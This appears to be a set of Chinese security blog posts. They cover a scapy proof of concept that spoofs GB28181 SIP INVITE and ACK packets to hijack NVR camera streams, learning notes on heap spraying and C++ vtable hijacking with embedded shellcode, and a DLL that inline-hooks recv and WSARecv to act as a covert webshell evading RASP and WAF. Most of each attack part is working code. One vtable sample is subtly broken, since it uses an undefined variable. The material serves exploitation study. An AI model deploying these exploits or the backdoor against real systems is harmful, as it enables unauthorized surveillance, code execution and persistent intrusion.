BYE 包用于终止推流,其它实体和它并没有交互。

一般情况下,NVR 支持的 SIP 是基于 UDP 的,而 UDP 报文的源 IP 是可以伪造。假如流媒体发送者(即NVR)没有对接受的信令校验认证,攻击者只要知道 SIP 服务器的 IP 地址,就可以伪造 SIP 服务器的身份,向 NVR 发起推流请求 (INVITE + ACK 包),推流到任意的流媒体服务器。

如下

2

最终效果是绕过 SIP 服务器,直接看摄像头了。

scapy 写 POC 很容易

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from scapy.all import *

INVITE_PKG ='''INVITE sip:66612310001@192.168.1.2 SIP/2.0
Call-ID: 0a097798b89c7897982198abcde8291@192.168.1.1
CSeq: 2 INVITE
From: <sip:77779200001@6661200000>;tag=fromTag
To: <sip:66612310001@6661200000>
Via: SIP/2.0/UDP 192.168.1.2
Max-Forwards: 70
Contact: <sip:77779200001@192.168.1.1:5060>
Content-Type: Application/SDP
Content-Length: 248

v=0
o=77779200001 0 0 IN IP4 192.168.1.1
s=Play
u=66612310001:0
c=IN IP4 188.8.8.8
t=0 0
m=video 2021 RTP/AVP 96 98 97
a=recvonly
a=rtpmap:96 PS/90000
a=rtpmap:98 H264/90000
a=rtpmap:97 MPEG4/90000
y=0200000849

'''.replace('\n','\r\n')

sendp(Ether()/IP(dst='192.168.1.2',src='192.168.1.1')/UDP(dport=5060)/INVITE_PKG)

ACK_PKG = '''ACK sip:66612310001@192.168.1.2 SIP/2.0
Call-ID: 0a097798b89c7897982198abcde8291@192.168.1.1
CSeq: 2 ACK
From: <sip:77779200001@6661200000>;tag=fromTag
To: <sip:66612310001@6661200000>
Via: SIP/2.0/UDP 192.168.1.2
Max-Forwards: 70
Contact: <sip:77779200001@192.168.1.1:5060>
Content-Type: Application/SDP
Content-Length: 0

'''.replace('\n','\r\n')

sendp(Ether()/IP(dst='192.168.1.2',src='192.168.1.1')/UDP(dport=5060)/ACK_PKG)

目前国内要求运营商在接入网上进行源地址验证,所以公网上这种攻击可能不是那么容易成功,但总有些路由器设备配置会存在缺陷,还是可以伪造的,看运气了。

End

GB28181 中有提到关于 “SIP 信令认证”,在 SIP 服务器和媒体流发送者之间加入一个加密模块,每个 SIP 信令中加入额外的校验字段。在每一端接收到 SIP 信令后都要去和这个加密模块校验,校验通过的信令才会被处理。

3

前端设备: 联网系统中安装于监控现场的信息采集、编码/处理、存储、传输、安全控制等设备。 这里指 NVR。

这只是一个补充的部分,还没有看到有哪家监控厂商实现,因为需要有配套的 SIP 服务器,大客户才能定制吧。

如果对安全性要求比较高,可以考虑让 NVR 走安全隧道。

【RealPwn-2】 堆喷练习

[RealPwn] 系列是我学习 pwn 的笔记,只记录真实场景中常用到的漏洞利用技术。

堆喷

堆喷的利用,简单概括就是,申请大量内存,申请到 0x0C0C0C0C ,写入 slides + shellcode ,再控制 EIP 指向 0x0C0C0C0C 即可。

理论上这里的 0x0C0C0C0C 可以替换为别的,比如 0x900x0D 等不影响shellcode 执行的指令。

实际场景,常见的思路是覆盖对象的虚函数表指针 vptr,在 0x0C0C0C0C 伪造一个虚函数表,填满 0x0C0C0C0C + shellcode ,当调用对象的虚函数时,会取到 0x0C0C0C0C 作为函数的地址,跳回到 0x0C0C0C0C 的起始,把后面的数据当作指令执行,

v

为什么不用 0x90909090 (nop;nop;nop;nop;) ? 是因为 0x90909090 > 0x7fffffff 处在内核空间,程序跳到那会 crash。

调试

开始调吧,还是 VS2019 + x32dbg 。

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <iostream>
#include <Windows.h>

#define ALLOC_SIZE 0x100000

using namespace std;

class A {
public:
virtual int pwn() {
return 1;
}
};

// 弹计算器
char shellcode[] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x00";

int main() {
char msg[128];

A* a = new A;
long* a_addr = (long*) a;
long* vptr = (long*) ( *a_addr);

a_addr[0] = 0x0C0C0C0C; // 修改 vptr

sprintf_s(msg, "object a address: 0x%p", a_addr);
cout << msg << endl;
sprintf_s(msg, "vtable address: 0x%p", vptr[0]);
cout << msg << endl;

system("pause");

for(int i = 0; i < 0x100 ; i++) { // 模拟堆喷,申请大量内存,256 个 chunk
long* buf = (long*) malloc(ALLOC_SIZE); // 1MB

sprintf_s(msg, "chunk[%d] addr: 0x%p", i, buf);
cout << msg << endl;

if((long) buf == 0) break; // 内存不足 malloc 失败

memset(buf, 0x0c, ALLOC_SIZE - sizeof(shellcode)); // 填充 slides
if((long) buf + ALLOC_SIZE > 0x0c0c0c0c && (long) buf < 0x0c0c0c0c){ // 此处判断可以省略
memset(buf, 0x0c, ALLOC_SIZE - sizeof(shellcode)); // 填充 slides
memcpy(buf + (ALLOC_SIZE - sizeof(shellcode))/4, shellcode, sizeof(shellcode)); // 写 shellcode
system("pause");
break;
}
}

system("pause");

a->pwn(); // 调用虚函数

return 0;
}

运行程序

1

代码里直接把 vptr 已经修改成 0x0C0C0C0C ,模拟虚函数表劫持。

bp 0x0c0c0c0c 打上断点,继续。

2

3

这里模拟了堆喷的过程,申请到的 0x0C0C0C0Cchunk\[158\] 里。

可以看到在向堆申请空间时,地址是从小到大的,有一定随机性,且有概率申请不到 0x0C0C0C0C ,这可能也是二进制漏洞利用不如web漏洞利用稳定的原因之一。

4

5

现在已经 slides 和 shellcode 都写上去了。

继续,就到调用虚函数了,顺利的话就会弹出计算器。

注意,malloc 的内存默认只有 RW 权限,同 【RealPwn-1】 虚函数表劫持练习 一样,需要暂时关闭 DEP 才能执行 shellcode,实际场景中需要构造 ROP 链。

6

References

【RealPwn-1】 虚函数表劫持练习

[RealPwn] 系列是我学习 pwn 的笔记,只记录真实场景中常用到的漏洞利用技术。

虚函数表

C++ 里,为了实现 “多态” ,使用了虚函数表 (vtable)。

每个含有虚函数的类的对象,在内存的起始处有一个 vptr 的指针,指向虚函数表。

虚函数表存了类里所有虚函数的指针。调用函数时,在这个虚函数表里查找实际要调用的函数。

借用网上的一张图

vft.png

特性

总结下虚函数表的特性:

  1. 虚函数表在 .data 段,仅可读,无法修改

  2. 虚函数表类似一个数组,每个有虚函数的类的对象实例都存储指向虚函数表的指针。

  3. 虚函数表指针 vptr 一般在对象起始的 4 字节(32 位) 或 8 字节(64 位),多重继承时有可能存在多个虚函数表,

调试

下面调试一下,环境 VS2019 + x32dbg:

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <iostream>
#include <Windows.h>

using namespace std;

class A {
public :
virtual int hijackme() {
return 1;
}
};

int main() {
char msg[128];

A* a = new A;
long* a_addr = (long*) a;
long* vptr = (long*) ( *a_addr);

sprintf(msg, "object a address: 0x%p", a_addr);
cout << msg << endl;
sprintf(msg, "vtable address: 0x%p", vptr[0]);
cout << msg << endl;

system("pause");
return 0;
}

image-20210702163648268

x32dbg 里看内存

image-20210702163707394

0x014FD028 是 vptr ,指向虚函数表。

image-20210702163900420

0xB131EC 是虚函数表,所在内存是只读的无法修改,它指向的是函数实际的地址,无法修改虚表中函数的地址。

image-20210702164047943

对象是在堆上的,它的内存是 RW 可读可写的,常见的攻击思路是修改对象的虚函数表指针 vptr ,即 0x014FD028 中的数据。

image-20210702164627019

试验一下。

要在内存中伪造出一个虚表,将对象的虚表指针指向它。

修改代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <iostream>
#include <Windows.h>

using namespace std;

class A {
public :
virtual int hijackme() {
return 1;
}
};

// 弹计算器
char shellcode[0x1000] = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x00";

int main() {
char msg[128];

A* a = new A;
long* a_addr = (long*) a;
long* vptr = (long*) ( *a_addr );

sprintf(msg, "object a address: 0x%p", a_addr);
cout << msg << endl;
sprintf(msg, "vtable address: 0x%p", vptr[0]);
cout << msg << endl;

system("pause");

char fake_vtable[4]; //伪造一个虚表
long shellcode_addr = (long)((long*) (shellcode));
memcpy(fake_vtable, &shellcode_addr ,4); //虚表指向shellcode

sprintf(msg, "fake_vtable address: 0x%p", &fake_vtable);
cout << msg << endl;

sprintf(msg, "shellcode address: 0x%p", (long*) shellcode);
cout << msg << endl;

system("pause");

long fake_vtable_addr = (long) ( (long*) fake_vtable );
memcpy(tmp, &fake_vtable_addr, 4); // 修改对象虚表指针,指向伪造的虚表

system("pause");

a->hijackme();

return 0;
}

重新执行

image-20210702175254591

0x00DCFE44 处构造一个虚表,只要一个项,指向 0x00535020

image-20210702174543785

0x00535020 是 shellcode

image-20210702174636492

这里涉及到一个问题,shellcode 是在 .data 段不可执行的,一般来说需要构造 ROP 链,给 shellcode 所在内存加上执行权限。这里略过这个问题,暂时先关掉 DEP(属性 —> 链接器 —> 高级)。

image-20210702173559882

应该就可以执行 shellcode 了。

vtable-hijacking

References

C++虚函数调用攻防战

利用 Hook 技术打造通用的 Webshell

本文首发 https://xz.aliyun.com/t/9774

标题中的 “通用” 指跨语言,本文的实现是基于 Windows 的,需要 Linux 的可以参考本文的思路,实现起来并没有太大区别。

原理

Windows 上程序涉及网络 socket 操作,一般都会用到 winsock2 的库,程序会动态链接 ws2_32.dll ,JVM,Python,Zend 等解释器都不例外。

winsock2 里 socket 操作相关的函数 recv send closesocket 会编程的应该都不陌生。hook 掉 recv 函数就可以在程序处理接受到网络数据前,进入我们的处理逻辑早一步收到数据。

由于实现是 native 的,所以在成功 hook 的情况下能绕过现代的 RASP、IAST、云WAF 等现代流行的防护技术。

Inline Hook

Inline Hook 是在程序运行时直接修改指令,插入跳转指令(jmp/call/retn)来控制程序执行流的一种技术。相比别的 Hook 技术,Inline Hook 优点是能跨平台,稳定,本文是以此技术实现的。

实现

具体实现分为两个部分,一个是hook函数的 DLL(只讲这个);另一个是向进程注入 DLL 的辅助工具(网上的文章很多,需要的见完整源码)。

InstallHook

安装钩子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#define START_BLOCK "#CMD0#"
#define END_BLOCK "#CMD1#"

DWORD dwInstSize = 12;
BYTE RecvEntryPointInst[12] = { 0x00 };
BYTE RecvEntryPointInstHook[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };
BYTE WSARecvEntryPointInst[12] = { 0x00 };
BYTE WSARecvEntryPointInstHook[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };

typedef int ( *PFNRecv )( SOCKET, char*, int, int );
typedef int ( *PFNSend )( SOCKET, char*, int, int );

typedef int ( *PFNWSARecv ) ( SOCKET, LPWSABUF, DWORD, LPDWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE );
typedef int ( *PFNWSASend ) ( SOCKET, LPWSABUF, DWORD, LPDWORD, LPDWORD, LPWSAOVERLAPPED, LPWSAOVERLAPPED_COMPLETION_ROUTINE );

void InstallHook(LPCWSTR lpModule, LPCSTR lpFuncName, LPVOID lpFunction) {
DWORD_PTR FuncAddress = (UINT64) GetProcAddress(GetModuleHandleW(lpModule), lpFuncName);
DWORD OldProtect = 0;

if(VirtualProtect((LPVOID) FuncAddress, dwInstSize, PAGE_EXECUTE_READWRITE, &OldProtect))
{
if(!strcmp(lpFuncName, "recv")) {
memcpy(RecvEntryPointInst, (LPVOID) FuncAddress, dwInstSize);
*(PINT64) ( RecvEntryPointInstHook + 2 ) = (UINT64) lpFunction;
}
if(!strcmp(lpFuncName, "WSARecv")) {
memcpy(WSARecvEntryPointInst, (LPVOID) FuncAddress, dwInstSize);
*(PINT64) ( WSARecvEntryPointInstHook + 2 ) = (UINT64) lpFunction;
}
}

if(!strcmp(lpFuncName, "recv"))
memcpy((LPVOID) FuncAddress, &RecvEntryPointInstHook, sizeof(RecvEntryPointInstHook));
if(!strcmp(lpFuncName,"WSARecv"))
memcpy((LPVOID) FuncAddress, &WSARecvEntryPointInstHook, sizeof(WSARecvEntryPointInstHook));

VirtualProtect((LPVOID) FuncAddress, dwInstSize, OldProtect, &OldProtect);
}

UninstallHook

卸载钩子

1
2
3
4
5
6
7
8
9
10
11
12
13
void UninstallHook(LPCWSTR lpModule, LPCSTR lpFuncName) {
UINT64 FuncAddress = (UINT64) GetProcAddress(GetModuleHandleW(lpModule), lpFuncName);
DWORD OldProtect = 0;

if(VirtualProtect((LPVOID) FuncAddress, dwInstSize, PAGE_EXECUTE_READWRITE, &OldProtect))
{
if(!strcmp(lpFuncName, "recv"))
memcpy((LPVOID) FuncAddress, RecvEntryPointInst, sizeof(RecvEntryPointInst));
if(!strcmp(lpFuncName,"WSARecv"))
memcpy((LPVOID) FuncAddress, WSARecvEntryPointInst, sizeof(WSARecvEntryPointInst));
}
VirtualProtect((LPVOID) FuncAddress, dwInstSize, OldProtect, &OldProtect);
}

HookRecv

hook recv 的函数,程序在执行 recv 时,会先进入这个函数。

在这个函数里,调用原来的 recv 获取数据,判断是否有START_BLOCKEND_BLOCK块,有的话就取出块之间的命令,执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
int WINAPI HookRecv(SOCKET s, char* buf, int len, int flags) {
UninstallHook(L"ws2_32.dll", "recv");

PFNRecv pfnRecv = (PFNRecv) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "recv");
PFNSend pfnSend = (PFNSend) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "send");
PFNClosesocket pfnClosesocket = (PFNClosesocket) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "closesocket");

int rc = pfnRecv(s, buf, len, flags);

char* startBlock = strstr(buf, START_BLOCK);
if(startBlock) {
char* endBlock = strstr(startBlock, END_BLOCK);
if(endBlock) {
std::string start_block = std::string(startBlock);
int endOffset = start_block.find(END_BLOCK, sizeof(START_BLOCK));
std::string cmd = start_block.substr(sizeof(START_BLOCK) - 1, start_block.size() - sizeof(START_BLOCK) - ( start_block.size() - endOffset ) + 1);

std::string output = WSTR2STR(ExecuteCmd(cmd));

pfnSend(s, (char*) output.c_str(), output.size(), 0);
pfnClosesocket(s);
}
}

InstallHook(L"ws2_32.dll", "recv", (LPVOID) HookRecv);

return rc;
}


int WINAPI HookWSARecv(SOCKET s, LPWSABUF lpBuffer, DWORD dwBufferCount, LPDWORD lpNumberOfBytesRecvd, LPDWORD lpFlags, LPWSAOVERLAPPED lpOverlapped, LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine) {

UninstallHook(L"ws2_32.dll", "WSARecv");

PFNWSARecv pfnWSARecv = (PFNWSARecv) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "WSARecv");
PFNWSASend pfnWSASend = (PFNWSASend) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "WSASend");
PFNClosesocket pfnClosesocket = (PFNClosesocket) GetProcAddress(GetModuleHandleW(L"ws2_32.dll"), "closesocket");

int rc = pfnWSARecv(s, lpBuffer, dwBufferCount, lpNumberOfBytesRecvd, lpFlags, lpOverlapped, lpCompletionRoutine);

char* startBlock = strstr(lpBuffer->buf, START_BLOCK);
if(startBlock) {
char* endBlock = strstr(startBlock, END_BLOCK);
if(endBlock) {
std::string start_block = std::string(startBlock);
int endOffset = start_block.find(END_BLOCK, sizeof(START_BLOCK));
std::string cmd = start_block.substr(sizeof(START_BLOCK) - 1, start_block.size() - sizeof(START_BLOCK) - ( start_block.size() - endOffset ) + 1);

WSABUF outBuf;
std::string output = WSTR2STR(ExecuteCmd(cmd));
outBuf.buf = (char*) output.c_str();
outBuf.len = output.size();

pfnWSASend(s, &outBuf, 1, lpNumberOfBytesRecvd, 0, 0, 0);
pfnClosesocket(s);
}
}

InstallHook(L"ws2_32.dll", "WSARecv", (LPVOID) HookWSARecv);

return rc;
}

这里还 hook 了 WSARecv ,是因为我在 Tomcat 上测试遇到个问题 hook recv 后收到的数据是乱码,长度也对不上。 后来想到 Tomcat 现在默认是 NIO 处理,JVM 的用的 API 可能不一样,翻看了一下源码,发现 Windows 上 NIO 相关的 socket 操作函数实际用的是 WSARecvWSASend 等带 WSA 前缀的,加了 hook 点之后能正常读到数据了。

DllMain

DLL 入口,调用安装钩子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
InstallHook(L"ws2_32.dll", "recv", (LPVOID) HookRecv);
InstallHook(L"ws2_32.dll", "WSARecv", (LPVOID) HookWSARecv);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

效果

Java

java

Python

python

|